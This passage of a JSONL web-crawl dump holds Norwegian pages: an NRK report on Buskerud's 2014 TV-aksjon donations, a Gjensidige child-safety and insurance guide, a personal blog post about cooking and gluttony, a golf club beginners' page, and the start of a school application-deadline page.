;)  \n  \nBtw, mocca-smak ruler\\! :)  \n  \n\\-G.. :)\n\n\n\n### Helene\n\n24, Drammen\n\n", "language": "no", "__index_level_0__": "b99fd44b-760c-4521-bbf9-197b19cbdfcc"}
{"url": "https://www.nrk.no/buskerud/buskerud-ga-nesten-11-millioner-1.11995831", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:32:37Z", "text": "# Buskerud ga nesten 11 millioner\n\n\u2013 Vi er dypt takknemlige. Det sier aksjonsleder i Buskerud og Vestfold, Line Vettestad etter helgens TV-aksjon.\n\n\n\n\n\nChristina Honningsv\u00e5g Journalist\n\n\n\nAnne-Marit Borgen Werring Journalist\n\n  Publisert  20.10.2014, kl. 09.23 \n\n  Publisert  20.10.2014, kl. 09.23 \nDagen etter dagen sitter en sliten, men takknemlig aksjonsleder for TV-aksjonen 2014, Line Vettestad.\n\n\u2013 Det er masse penger og mange liter vann. Og det er en veldig god innsats fra mange mennesker som har gjort dette mulig.\n\n**\u2013 N\u00e5 er det f\u00f8rst og fremst Kirkens N\u00f8dhjelp som skal bruke disse pengene til sine vannprosjekter i de \u00e5tte landene som er valgt ut. Det g\u00e5r p\u00e5 \u00e5 borre og rehabilitere br\u00f8nner, samle opp regnvann, og egentlig alt som kan bidra til \u00e5 gi vann.**\n\n## Mange dugnadstimer\n\nTotalt har det blitt samlet inn n\u00e6r 240 millioner kroner p\u00e5 landsbasis. I Buskerud ble det samlet inn 10,8 millioner kroner, og det er en liten nedgang fra fjor\u00e5ret, sier Vettestad.\n\n\u2013 I Buskerud s\u00e5 har vi en liten nedgang p\u00e5 cirka 400 000 kroner totalt. Men i dag s\u00e5 skal alle bare v\u00e6re lykkelig, for vi har tross alt gitt 10,4 millioner kroner.\n\n**\u2013 Det er s\u00e5 mange som har jobbet for den summen, og lagt ned b\u00e5de dugnadstimer, og meter n\u00e5r man har g\u00e5tt som b\u00f8sseb\u00e6rer.**\n\n## St\u00f8rst nedgang i Drammen\n\nP\u00e5 landsbasis gav folk i snitt rundt 47 kroner. Innbyggerne i Nes var de i Buskerud som ga mest, der ga hver person i gjennomsnitt 78 kroner. Lavest i Buskerud ligger Nedre Eiker der snittet var 28 kroner og i fylkets st\u00f8rste by, Drammen, ble det ikke gitt mer enn 33 kroner per innbygger.\n\n\u2013 Jeg har ikke f\u00e5tt analysert tallene, men den som g\u00e5r mest ned og utgj\u00f8r den st\u00f8rre summen er Drammen. Det er litt skummelt n\u00e5r en by g\u00e5r ned, for da blir det fort store summer.\n\n**\u2013 Vi har tydeligvis ikke klart \u00e5 bevege n\u00e6ringslivet i Drammen som vi klarte i fjor.**\n\n## Savner bidrag fra n\u00e6ringslivet\n\nTidligere \u00e5r har mangel p\u00e5 b\u00f8sseb\u00e6rere v\u00e6rt et problem for Buskerud, men ikke i \u00e5r, forteller Vettestad.\n\n\n\n**\u2013 I \u00e5r fikk vi fylt opp med b\u00f8sseb\u00e6rere i siste liten, s\u00e5 det har v\u00e6rt nok av de over hele linja. B\u00f8ssebel\u00f8pet er s\u00e5 \u00e5 si likt med fjor\u00e5ret, s\u00e5 uten \u00e5 ha analysert tallene, s\u00e5 kan vi vel si at vi trenger litt mer hjelp fra n\u00e6ringslivet.**\n\n\u2013 Vi har jobbet en god del mot de fleste n\u00e6ringslivsorganisasjoner i kommunene, og i noen kommuner har de v\u00e6rt kjempeflinke. I for eksempel Ringerike, Hole og Kongsberg s\u00e5 har ordf\u00f8rere og n\u00e6ringsliv jobbet p\u00e5 spreng.\n\n## Kan fortsatt gi\n\nDersom man ikke fikk gitt penger i \u00e5r, men fortsatt \u00f8nsker \u00e5 bidra er det ikke for sent, sier Vettestad. B\u00e5de privatpersoner og n\u00e6ringsliver har fortsatt mulighet til \u00e5 gi penger.\n\n**Les:  Gikk du glipp av b\u00f8ssa? Slik gir du n\u00e5 **\n\n**\u2013 Det er ikke for sent, man kan g\u00e5 inn p\u00e5 giverstafett.no og gi det man har lyst til. Den kommer til \u00e5 v\u00e6re \u00e5pen en stund til, s\u00e5 har man tenkt at man skulle gitt litt s\u00e5 har man fortsatt muligheten.**\n\n\u2013 Privatpersoner kan selvsagt ogs\u00e5 gi penger, og da kan de g\u00e5 inn p\u00e5 v\u00e5re nettsider, s\u00e5 finner de alle de ulike giverm\u00e5tene der.\n\n  Publisert  20.10.2014, kl. 09.23 \n\n### TV-aksjonen 2014\n\n\n\n## \u2013 Blir veggpryd fram til jeg har funnet prinsessa\n\n\n\nSondre Justad.\n\n\n## Vestfoldbanen stengt etter p\u00e5kj\u00f8rsel\n\nPerson funnet d\u00f8d etter hendelse i Sande.\n\nAv Fabian Skalleberg Nilsen\n\n\n\n## Flere sykkelritt avlyses p\u00e5 grunn av nytt krav\n\nFerske forskrifter skaper frustrasjon blant arrang\u00f8rer av sykkelritt over hele landet. Frivillige m\u00e5 p\u00e5 kurs for \u00e5 f\u00e5 dirigere trafikk.\n\nAv Magnus Lutn\u00e6s Aas, Vegard Unger Ellefsen og Anette Dotseth Stensholt\n\n\n\n## Lokale kometer p\u00e5 pallen\n\n", "language": "no", "__index_level_0__": "21f7c6e6-04d9-4c47-8884-f0c70c75c655"}
{"url": "https://www.gjensidige.no/privat/tema/familien-min/barnet-vokser", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:31:23Z", "text": "# Barnet vokser\n\nLivet er fullt av hendelser. Noen bestemmer du selv, andre kommer som en overraskelse.\n\nHer er noe nyttige r\u00e5d og tips p\u00e5 veien.\n\n## Forsikring av barna\n\nV\u00e5r barneforsikring gir deg og barnet ditt ekstra \u00f8konomisk trygghet hvis noe skulle skje.\n\nForsikringen kan kj\u00f8pes n\u00e5r barnet er mellom 3 m\u00e5neder og 16 \u00e5r gammelt, og gjelder frem til barnet er 26\u00a0\u00e5r. Noen dekninger\u00a0\u2013 for eksempel uf\u00f8repensjon\u00a0\u2013 beholdes ogs\u00e5 etter fylte 26\u00a0\u00e5r.\n\nHvis barnet ditt er mellom 0\u00a0og 6\u00a0m\u00e5neder gammelt kan du bestille gratis spedbarnsforsikring.\n\n### Hvilke andre forsikringer trenger du?\n\nSom fors\u00f8rger b\u00f8r du sikre deg selv i tillegg til de som er avhengig av deg. Hvilke forsikringer du b\u00f8r ha kommer blant annet an p\u00e5 om du er gift/samboer, og om du har forsikringer gjennom jobben.\n\nV\u00e5r\u00a0 behovskalkulator \u00a0kan avdekke hva som er den beste kombinasjonen for deg.\n\nDu kan ogs\u00e5\u00a0avtale et uforpliktende r\u00e5dgivningsm\u00f8te\u00a0p\u00e5 ditt n\u00e6rmeste Gjensidige-kontor.\n\n## Sjekk pris og kj\u00f8p barne\u00adforsikring\n\nVi kan gi deg oversikt over hvilke forsikringer du har, hvilke du b\u00f8r vurdere \u2013 og hvilke du ikke trenger\n\n\n\n## Sikkerhet i hjemmet\n\nHjemmet er fullt av nye og spennende ting for nysgjerrige barn.\n\nGjennom enkle forh\u00e5ndsregler kan du sikre de minste:\n\n  - Sett barnesikring p\u00e5 kokeplater og stekeovn\u00a0\n  - Sperr av trapper\u00a0\n  - Gjem unna fyrstikker, lightere og farlige kjemikalier\n  - Fjern l\u00f8se ledninger og bruk stikkontaktbeskytter\n  - Sett barnesikring p\u00e5 vinduer og d\u00f8rer\n  - Ikke drikk varm drikke med barna p\u00e5 fanget\n\n\n\n## Skolestart\n\nOmstillingen er stor fra barnehage til 1. klasse. B\u00e5de foreldre og barn kan kjenne sommerfugler i magen. Er man godt nok forberedt?\u00a0Her er noen tips for en trygg og god skolestart.\n\n### Selvstendighet\n\nDen st\u00f8rste forskjellen p\u00e5 barnehage og 1. klasse er kanskje antall voksne per barn. Da kan det v\u00e6re godt \u00e5 ha \u00f8vd p\u00e5 gj\u00f8re ting selv, som \u00e5 \u00e5pne matboks og vannflaske, og ta av og p\u00e5 votter, lue og yttert\u00f8y.\n\nDette kan dere gj\u00f8re f\u00f8r skolestart:\n\n  - Snakk sammen om hva som venter barna, og hva som er annerledes fra barnehagelivet\n  - \u00d8v sammen p\u00e5 \u00e5 ta opp og legge ned niste, b\u00f8ker og pennal i sekken\n  - \u00d8v p\u00e5 andre situasjoner som kan oppst\u00e5 i l\u00f8pet av en vanlig skoledag, som \u00e5 kle av og p\u00e5 seg i forbindelse med friminuttene, si fra n\u00e5r man m\u00e5 p\u00e5 do og g\u00e5 p\u00e5 do helt alene\n  - Arranger gjerne et treff med klassekameratene i forkant \u2013\u00a0det er godt \u00e5 se noen kjente fjes den f\u00f8rste dagen\n  - Ta en pr\u00f8vetur sammen til skolen, med sekk p\u00e5 ryggen\n\n### Trygg i vann\n\nSv\u00f8mmeoppl\u00e6ring blir en del av undervisningen n\u00e5r barnet begynner i 3.-4. klasse, men det n\u00f8dvendige grunnlaget for sv\u00f8mming og livredning skapes i l\u00f8pet av de f\u00f8rste skole\u00e5rene.\n\nDu kan hjelpe barnet til \u00e5 bli godt forberedt p\u00e5 m\u00f8tet med vann:\n\nGjensidigestiftelsen har i flere \u00e5r satt fokus p\u00e5 \u00e5 l\u00e6re barn \u00e5 bli trygge i vann. I samarbeid med Norges Sv\u00f8mmeforbund tilbyr stiftelsen gratis sv\u00f8mmekurs for alle barn.\n\nP\u00e5 svommeaksjonen.no kan du lese om kursene, se demonstrasjonsfilmer og f\u00e5 gode tips til sv\u00f8mmeoppl\u00e6ring.\n\n## Matpakketips\n\nSunne matpakker m\u00e5 til for \u00e5 holde konsentrasjonen oppe. Det er mange steder \u00e5 hente inspirasjon fra, for eksempel skolefrukt.no og tine.no.\n\n\n\n## Barn og mediebruk\n\nP\u00e5 barnevakten.no f\u00e5r du tips om bruk og begrensning av internett, film, tv, spill og mobil.\n## Gj\u00f8r sparing morsomt for barna\n\nMed v\u00e5r smarte spare\u00adplan kan barna beregne hvor lenge de m\u00e5 spare for \u00e5 kj\u00f8pe det de \u00f8nsker seg.\n\n\n\n## Barn i bil og buss\n\n### Regler for sikring av barn i bil\n\nIngenting er viktigere enn at barna er trygge i bilen. Det er ogs\u00e5 p\u00e5budt if\u00f8lge norsk lov.\n\nDisse reglene gjelder for sikring av barn i bil:\n\n  - Barn under 135 cm skal alltid sikres med godkjent barnesikringsutstyr som er tilpasset barnets vekt\n  - Barnesetet skal v\u00e6re bakovervendt til barnet n\u00e5r 9 kg\n  - Barn skal ikke transporteres i bakovervendt barnestol i forsetet, med mindre kollisjonsputen er deaktivert\n  - Barn under 3 \u00e5r skal ikke transporteres i biler uten bilbelter\u00a0\u2013 for eksempel veteranbiler\n  - Barn over 3 \u00e5r skal ikke transporteres i forsete uten bilbelte\n\n### Regler for sikring av barn i buss\n\nEnten det er utflukter i regi av barnehagen, p\u00e5 initiativ fra besteforeldre eller deg som forelder: Sm\u00e5 barn m\u00e5 sikres godt uansett fremkomstmiddel.\n\nDersom barnet ditt skal transporteres i buss, skal det sikres p\u00e5 samme m\u00e5te som i personbil. Bussen m\u00e5 med andre ord ha trepunktsbelter p\u00e5 samtlige plasser.\n\n### Sikkerhet i tog og fly\n\nP\u00e5\u00a0 tryggtrafikk.no \u00a0kan du b\u00e5de stille sp\u00f8rsm\u00e5l og f\u00e5 generell informasjon om sikring av barn i ulike transportmidler.\n\nNSB og flyselskaper som SAS, Norwegian og Wider\u00f8e har ogs\u00e5 mye informasjon p\u00e5 sine hjemmesider for deg som reiser med barn.\n\n### Dersom noe skulle skje\n\nHvis barnet ditt skader seg, er tiden knapp og kunnskap viktig. Den offentlige helseportalen helsenorge.no har laget en oversikt over hva du skal gj\u00f8re og huske p\u00e5 hvis uhellet er ute.\n\nDu kan ogs\u00e5 laste ned Gjensidige-appen: Der finner du blant annet en illustrert guide til f\u00f8rstehjelp.\n\nTrygg Trafikk anbefaler bakovervendt barnesete helt til barnet er 3-4 \u00e5r\n\n\n\n## Riktig bruk av barnesete\n\n  - F\u00e5 hjelp hos forhandler hvis det er f\u00f8rste gang du installerer et barnesete\n  - Be om monterings\u00adanvisningen fra produsenten \u2013 b\u00e5de ved kj\u00f8p av nytt og brukt sete\n  - Ta av eller \u00e5pne barnets yttert\u00f8y, slik at beltet ligger s\u00e5 n\u00e6rt kroppen som mulig\n  - Kontroller at belter, l\u00e5ser og s\u00f8mmer er intakte\n  - Stram selen godt, og pass p\u00e5 at den ikke er vridd\n  - Sjekk at utstyret ikke er for gammelt; det b\u00f8r kasseres etter 8-9\u00a0\u00e5r\n  - Pass p\u00e5 at stolen ikke har v\u00e6rt utsatt for kollisjon, uavhengig av om det satt barn i setet\n\n## Forbruker\u00adr\u00e5dets test av barne\u00adseter\n\n## Barn i trafikken\n\n### Trygg skolevei\n\n\u00c5 begynne p\u00e5 skolen er ofte ensbetydende med \u00e5 ferdes i trafikken. Over gangfelt, langs veier og rundt om eller midt i sv\u00e6rt trafikkerte omr\u00e5der. \u00d8v sammen med barna, s\u00e5 blir skoleveien tryggere.\n\nDet finnes en rekke steder p\u00e5 nettet som p\u00e5 en underholdende m\u00e5te hjelper barnet ditt \u00e5 tilegne seg kunnskap om dette viktige temaet.\n\nTrygg Trafikk har egne nettsider om barn p\u00e5 skolevei. Her kan barna l\u00e6re mer om hva som er trygt, farlig, p\u00e5budt og forbudt p\u00e5 skoleveien.\n\nP\u00e5 barnastrafikklubb.no kan barna spille og gj\u00f8re oppgaver.\n\n### Huskeregler for barn i trafikken\n\nBarn er impulsive og har lett for \u00e5 glemme at de er i ferd med \u00e5 krysse veien hvis de oppdager noe spennende.\n\nHer er noen huskeregler som kan brukes som utgangspunkt for samtale om trafikk:\n\n  - **Bruk \u00f8ynene  \n    ** Se deg alltid godt for n\u00e5r du er ute i trafikken\n  - **Bruk \u00f8rene  \n    ** Det er ikke alltid du kan se bilene som kommer, og da m\u00e5 du lytte etter om det kommer en bil du ikke kan se, for eksempel bak et hus eller rundt en sving\n  - **Stopp opp  \n    ** Stopp alltid opp f\u00f8r du g\u00e5r over en vei, lytt og sjekk at det er klart til begge sider\n  - **Bruk refleksvest  \n    ** Da blir du sett b\u00e5de i godt dagslys og i m\u00f8rket n\u00e5r det kommer biler\n\n### Barnas Trafikklubb\n\nBarn er mest mottakelige for l\u00e6ring n\u00e5r de leker og bruker fantasien. Et trygt og morsomt sted for sm\u00e5 barn \u00e5 l\u00e6re seg trafikkregler, er Barnas Trafikklubb.\n\nDette er en egen internettklubb for barn, der dere sammen kan leke, spille og gj\u00f8re oppgaver som gj\u00f8r det \u00e5 ferdes i trafikken litt tryggere.\n\n\n\n## Meld barna inn i Barnas Trafikklubb\n\n## Refleks og hjelm\n\nRefleks og hjelm er viktig \u2013\u00a0b\u00e5de for barn, unge og voksne.\n\n### Bruk refleksen riktig\n\nSlik blir du og barnet ditt godt synlig i trafikken:\n\n  - Refleksen b\u00f8r henge i en voksen persons kneh\u00f8yde \u2013 da mottar den mest mulig lys fra billyktene\n  - Reflekser som beveger seg ved bruk er mest effektive\n  - Bruk 2 reflekser \u2013 da er dere synlige fra begge sider n\u00e5r dere krysser veien\n  - Riper og skraper svekker refleksjonsevnen, s\u00e5 bytt ut gamle reflekser\n  - Refleksvester mister refleksjonsevne ved jevnlig vask, s\u00e5 bytt de ut \u00e5rlig hvis de vaskes ofte\n  - Alle godkjente reflekser er merket med CE\u00a0EN\u00a013356\n\n### Velg riktig hjelm\n\nDet er viktig at hjelmen sitter godt og dekker riktig. Dette b\u00f8r du tenke p\u00e5 n\u00e5r du velger hjelm til deg og barnet:\n\n  - Hjelmen skal sitte behagelig, men fast, p\u00e5 hodet\n  - Hjelmen skal dekke issen, pannen og bakhodet\n  - Hakeremmen skal ikke v\u00e6re elastisk, med den skal kunne justeres\n  - L\u00e5sen skal v\u00e6re lett \u00e5 \u00e5pne og lukke\n  - Ta hjelmen av n\u00e5r barnet leker og klatrer, for \u00e5 unng\u00e5 kvelning hvis hjelmen sitter fast\n  - En hjelm som har f\u00e5tt et kraftig st\u00f8t m\u00e5 kastes og erstattes men en ny\n  - Alle godkjente hjelmer er merket med CE\u00a0EN\u00a01078\n\nMange barn synes at skate- eller streethjelmer er t\u00f8ffere en sykkelhjelm. Det er helt greit \u2013\u00a0slike hjelmer er godkjent for sykling og beskytter godt mot slag. Den eneste ulempen er at de ikke har like god ventilering som vanlige sykkelhjelmer.\n\n\u00a0\nHvis barnet din derimot har en BMX-hjelm, b\u00f8r du passe p\u00e5 at denne ikke brukes i trafikken. Disse hjelmene dekker \u00f8rene, slik at det er vanskelig \u00e5 h\u00f8re bilene.\n\n## Visste du at\n\n  - 35 % av alle fotgjengerulykker skjer i m\u00f8rket?\n  - kun 5 % av fotgjengere som blir p\u00e5kj\u00f8rt og skadet bruker refleks?\n  - refleks reduserer risikoen for \u00e5 bli p\u00e5kj\u00f8rt med 85 %?\n\n## Finn din refleks\n\nDet finnes mange typer reflekser, og det enkleste er \u00e5 kj\u00f8pe p\u00e5 nett. Her finner du refleksprodukter til barn, unge og voksne:\n\n  - Frost refleks\u00a0(smykker, ringer og veskereimer)\n\n\n## Sykling til skolen\n\nDe fleste skoler har regler for n\u00e5r elevene f\u00e5r lov til \u00e5 sykle til skolen. Foreldrene kan bidra til at barna stiller bedre forberedt n\u00e5r de slipper ut p\u00e5 skoleveien alene.\n\n### P\u00e5 to hjul i trafikken\n\nDet \u00e5 sykle til skolen er b\u00e5de god mosjon og g\u00f8yalt. Likevel anbefaler Trygg Trafikk \u00e5 vente til barna er 10-12 \u00e5r f\u00f8r de kan ferdes i trafikken p\u00e5 egenh\u00e5nd.\n\nSykling medf\u00f8rer en viss risiko, og det stilles strengere krav til syklister enn fotgjengere. \u00d8v sammen p\u00e5 parkeringsplasser, sykkelstier eller i parker. Og for all del: Husk sykkelhjelm b\u00e5de til barnet ditt og deg selv\\!\n\nTrygg Trafikk har flere gode sykkeltips, samt fine \u00f8velser og informasjonsfilmer.\n\n### Syn og utvikling\n\nBarnet ditt opplever ikke trafikken p\u00e5 samme m\u00e5te som deg: De har enn\u00e5 ikke ferdigutviklet syn, h\u00f8rsel og konsentrasjonsevne. Godt sidesyn er viktig for trygg ferdsel i trafikken, og dette utvikles f\u00f8rst n\u00e5r barnet er 10-12 \u00e5r.\n\nDet er ikke lett \u00e5 vite hvordan du skal unders\u00f8ke om barnet ditt ser godt nok. Hvis du \u00f8nsker \u00e5 lese og l\u00e6re mer om hvordan du kan oppdage synsvansker, har Statlig spesialpedagogisk tjeneste utarbeidet en sjekkliste for barn i alle aldre.\n\n### Viktig og riktig med hjelm\n\nDet er viktig at b\u00e5de du og barnet ditt bruker hjelm p\u00e5 sykkeltur. Like viktig er det at den sitter riktig, beskytter pannen og er festet godt.\n\nEn hjelm som har f\u00e5tt kraftig st\u00f8t, m\u00e5 erstattes med en ny. Statens vegvesen har flere tips til riktig bruk av sykkelhjelm.\n\n## Dette b\u00f8r barna kunne\n\nF\u00f8r barna f\u00e5r sykle til skolen b\u00f8r de\n\n  - mestre sykkelen godt og ha god balanse\n  - kunne gi tegn, snu hodet og stanse\n  - kunne grunn\u00adleggende trafikkregler\n  - ha gjennomg\u00e5tt sykkel\u00adoppl\u00e6ring over tid\n  - ha trent sammen med en voksen i trafikken\n\nHvis sykkelen blir stj\u00e5let b\u00f8r du melde fra til politiet og forsikringsselskapet, og sjekke hittegodskontoret\n\n", "language": "no", "__index_level_0__": "fd28858b-1a24-4824-a31f-5e9b15f7fe2c"}
{"url": "http://vannlandet.blogspot.com/2013/07/fratsing.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:31:02Z", "text": "\n## l\u00f8rdag 27. juli 2013\n\n### Fr\u00e5tsing\n\n\n\n  \nI dag skal jeg lage meg ei gryte. Det vil si, egentlig skal jeg lage noe *i* ei gryte (spr\u00e5k er g\u00f8y).\n\n  \nGryteretten jeg skal lage i gryta er\u00a0denne.\u00a0\u00a0\n\n  \nJeg liker \u00e5 lage god mat. God mat trenger ikke n\u00f8dvendigvis \u00e5 v\u00e6re eksklusiv eller dyr, det er nok at det smaker godt og er litt sunt. Det betyr at smaksopplevelsen ikke n\u00f8dvendigvis er knyttet til penger. Det som er knyttet til penger, er for eksempel f\u00f8lelsen av luksus.\u00a0Og status. Luksus og status er igjen knyttet til f\u00f8lelsen av hvem du er, hva du fortjener eller hva du f\u00e5r til. Hva du kan skilte med. Om du omgir deg med mye luksus skiller du deg fra mengden, p\u00e5 samme m\u00e5te som du skiller deg fra mengden om du har veldig lite av det meste. Effekten er med andre ord den samme, men de fleste vil nok likevel velge \u00e5 ha mye, om de fikk velge. Det er det likevel ikke alle som f\u00e5r.\n\n  \nJeg vet ikke hvor p\u00e5 en gradering av luksus du vil plassere gryteretten jeg skal lage i dag. For meg ligger den ganske h\u00f8yt. Spesielt hvis jeg sammenligner den med annen mat jeg spiser. For eksempel ei skive med stekt p\u00f8lse p\u00e5, som det er lett \u00e5 ty til om jeg kommer sliten fra atelieret. Om d\u00e9t er middagen min f\u00e5r jeg ingen opplevelse av luksus. I stedet f\u00e5r jeg en opplevelse av latskap. Men hallo, ogs\u00e5 late folk er slitne innimellom.\u00a0\n\n  \nGryteretten jeg skal lage, kommer jeg til \u00e5 spise fra en tallerken som tilh\u00f8rer et servise jeg har arvet fra moren min. Jeg vet ikke n\u00f8yaktig n\u00e5r dette serviset ble handlet inn, men jeg regner med at det i hvert fall er f\u00f8rtifem \u00e5r gammelt. F\u00f8rtifem \u00e5r er ganske gammelt, men funksjonen er like god som den var da serviset var nytt. Og det er behandlet med varsom h\u00e5nd og er derfor s\u00e5 lite slitt at det godt kunne v\u00e6rt nytt for et \u00e5r siden. Men det er det alts\u00e5 ikke. Det er gammelt. Men ikke gammelt nok til \u00e5 gi en f\u00f8lelse av luksus. Da m\u00e5tte jeg ha arvet det av min oldemor eller noe s\u00e5nt. Gjerne en tipp, tipp oldemor. Eller kongens oldemors tante. Det hadde gjort susen. Det er med andre ikke nok at noe er arvet. Likevel vil nok gryteretten smake like bra som den ville gjort om jeg n\u00e5 stormet ut og brukte mine siste skillinger p\u00e5 et nytt og veldig dyrt servise eller noe enda dyrere antikt, og spiste maten fra det. Det betyr at luksus ikke betyr alt.\n\n  \nDet som betyr noe for meg i kveld er smak. I tillegg til smak, betyr slikt som n\u00e6ringsinnhold en del. I hvert fall gj\u00f8r det det i hverdagen. Vitaminer og de greiene der. Jeg tenker ikke s\u00e5 mye p\u00e5 det, men jeg vet at slike ting betyr noe. S\u00e5 jeg lager det meste av maten min selv i hvert fall. Det blir lite ferdigmat for tiden. Jeg er jo opplyst. Og vet det betyr noe for oss hva vi kj\u00f8rer innp\u00e5 av fett, E-stoffer, sukker og annen fristende skit ogs\u00e5. Slik jeg gjorde i g\u00e5r kveld. Jepp, det sto verken skive med p\u00f8lse eller fransk gryte p\u00e5 menyen i g\u00e5r kveld. I stedet spiste jeg sjokolade, seigmenn, is og chips, og skylte det ned med cola. Og det likte ikke kroppen min, selv om tunga var i himmelen og n\u00e6rmest salig av fryd p\u00e5 grensen til det kj\u00f8nnslige. S\u00e5 da sa kroppen i fra. F\u00f8rst med en liten sitring. Og s\u00e5 etter hvert begynte sitringen \u00e5 minne p\u00e5tagelig om angst. S\u00e5 hva en spiser har tydeligvis mye \u00e5 si. Antagelig langt mer enn hva en serverer det p\u00e5. Noe min venn Eva\u00a0vet noe om.\n\n  \nN\u00e5 er det ikke slik at jeg heller var uvitende med tanke p\u00e5 slike sammenhenger i g\u00e5r kveld da jeg dykket ned i chipsposen og stappa innp\u00e5 med sjokolade. Men jeg ga faen, og var villig til \u00e5 betale prisen. Og jaggu var det godt, til det ble litt for mye av det gode. \u00a0Det betyr at m\u00e5tehold kanskje kunne v\u00e6re en bra ting. Jeg synes iblant at m\u00e5tehold er litt vanskelig. I hvert fall p\u00e5 noen felt i livet. Om jeg likevel behersker det, s\u00e5 kan jeg oppleve en f\u00f8lelse som et \u00f8yeblikk minner litt om lykke, for den potensielle opplevelsen b\u00e6rer mestring i seg. Men lykkef\u00f8lelse kan jeg ogs\u00e5 oppleve n\u00e5r jeg fr\u00e5tser. De to valgene kan med andre ord gi samme effekt. Jeg tror mange likevel velger \u00e5 fr\u00e5tse, om de kan. Og det kan de. Og vil. I det minste p\u00e5 enkelte omr\u00e5der i livet. Spesielt de omr\u00e5dene som handler om demping av f\u00f8lelser eller om nytelse, enten det er mat, sex, rus eller shopping. \u00a0I hvert fall finnes det langt flere fr\u00e5tsere enn asketer, har jeg inntrykk av. Og det m\u00e5 jo ha sin grunn. Og med den bomba avslutter jeg dagens blogg, og g\u00e5r ut p\u00e5 kj\u00f8kkenet og lager gryta mi, mmm, lykkelige meg.\n\n  \n\nHa en fin dag.\n\n  \nDagens link:\u00a0Gluttony\n\n27.7.13           \n\n#### 2 kommentarer:\n\n1.  \n    \n    Annemor28. juli 2013 kl. 11:21\n    \n    Fr\u00e5tsing kan bli en livsstil Hvor man ikke bare fr\u00e5tser i konkrete og luksuri\u00f8se (eller mindre luksuri\u00f8se, kommer an p\u00e5 \u00f8ynene som ser,) saker. Jeg tenker litt p\u00e5 \u00e5 fr\u00e5tse i f\u00f8lelser. Enten det er lykke eller det motsatte.  \n    Noen \"bor\" eller klynger seg til en spesifikk f\u00f8lelsesopplevelse og gj\u00f8r omtrent hva det skal v\u00e6re, for \u00e5 oppn\u00e5 den igjen.  \n    Hvis ditt aller f\u00f8rste kyss var en \u00e5penbaring p\u00e5 f\u00f8elsesfronten, tror jeg at du vil streve etter akkurat den f\u00f8lelsen. Men det er neppe mulig. 1. gang er alltid 1. gang og kan ikke overf\u00f8res til 2. eller 3. gang. Tror jeg.  \n    Og dermed skrev jeg meg langt bort.  \n    Men jeg velger \u00e5 trykke send likevel :)  \n    HA en deilig dag med \"gryta di\", innholdet virket veldig godt.  \n    Mormorklem :)\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken28. juli 2013 kl. 15:55\n        \n        S\u00e5 bra du trykket send. Det er alltid morsomt \u00e5 f\u00e5 slike tankerekker.:)  \n          \n        Og gryta ble god, selv om det var litt uvant med s\u00e5 mye dijonsennep.  \n          \n        Ha en fin kveld.:)  \n          \n        Bj\u00f8rn\n        \n    Vannlandet er en blogg som fors\u00f8ker \u00e5 fokusere p\u00e5 livets muligheter, uten \u00e5 g\u00e5 veien om fortielse av utfordringene. Samtidig er det en blogg om det \u00e5 v\u00e6re kunstner, ha en psykisk lidelse, ha egne barn, et barnebarn, en kj\u00e6reste og to bonusbarn, noen akvarier og en liten, bl\u00e5 VW Polo jeg freser rundt i. Men mest er det bare tanker som dukker opp i det jeg begynner \u00e5 skrive.\n\n", "language": "no", "__index_level_0__": "bfe8b9e8-a157-4fea-b8a4-3edd5b9f6b79"}
{"url": "http://soongolf.no/nybegynnere/veien-tilbake-til-golf-vttg-i-son", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:15:59Z", "text": "# Nybegynnere\n\n# Veien -tilbake-til-golf (VTTG) i Son\n\nVelkommen til oppfrisknings-m\u00f8teplassen i Soon Golfklubb\\!  \n  \nHer f\u00e5r du praktisk trening i en avslappet atmosf\u00e6re - hvor fokuset er p\u00e5 moro og gleden ved \u00e5 spille golf.  \n  \nOpplegget er skreddersydd for deg som etter egen mening har et handicap du \u00f8nsker \u00e5 redusere. Og for deg som ikke helt har kommet i gang med ditt golfspill.  \n  \nHvordan vet du om du er en aktuell deltaker? Les videre og se om du kjenner deg igjen i noe av det f\u00f8lgende:\n\n  - har du lyst til \u00e5 sparke din golfball av og til?\n  - har du lagt merke til at golfballen liker \u00e5 gjemme seg etter \u00e5 ha blitt truffet?\n  - har du lagt merke til at golfballer ikke kan sv\u00f8mme?\n  - sl\u00e5r du ballen s\u00e5 lavt at du aldri f\u00e5r solen i \u00f8ynene?\n  - har tanken p\u00e5 bunker, vann, fore, \u00f8lball... streifet deg p\u00e5 vei frem til ballen?\n\n  \nHvis du kjente deg igjen, eller smilte bare litt til en av de ovennevnte - velkommen til \"Veien-tilbake-til-golf\" (VTTG) onsdager kl. 19-20.30.\u00a0  \n  \n", "language": "no", "__index_level_0__": "d7421d05-36aa-41da-8d04-fb35deabe58c"}
{"url": "https://www.vilbli.no/nb/nb/akershus/soknadsfrister-og-inntakskalender/a/025142?domain=akershus", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00583.warc.gz", "warc_date": "2018-03-24T23:54:07Z", "text": "# S\u00f8knadsfrister og inntakskalender\n\n  - \n\n**1. mars** er ordin\u00e6r s\u00f8knadsfrist for inntak til videreg\u00e5ende skole og formidling til l\u00e6replass.\n\n**1. februar** er s\u00f8knadsfrist\u00a0\n\n  - ved s\u00f8knad om fortrinnsrett\n      - for s\u00f8kere til et s\u00e6rskilt utdanningsprogram p\u00e5 Vg1\n      - for s\u00f8kere med sterkt nedsatt funksjonsevne\n      - for s\u00f8kere med rett til oppl\u00e6ring i og p\u00e5 tegnspr\u00e5k\n      - for s\u00f8kere med vedtak om utvidet tid.  \n  - for s\u00f8kere som har enkeltvedtak om s\u00e6rskilt spr\u00e5koppl\u00e6ring.\n  - for s\u00f8kere som nylig har kommet til Norge.\n  - ved s\u00f8knad om individuell behandling\n      - for s\u00f8kere til Vg1 som har rett til spesialundervisning og som mangler karakter i mer enn halvparten av fagene\n      - for s\u00f8kere til Vg1 som har hatt s\u00e6rskilt 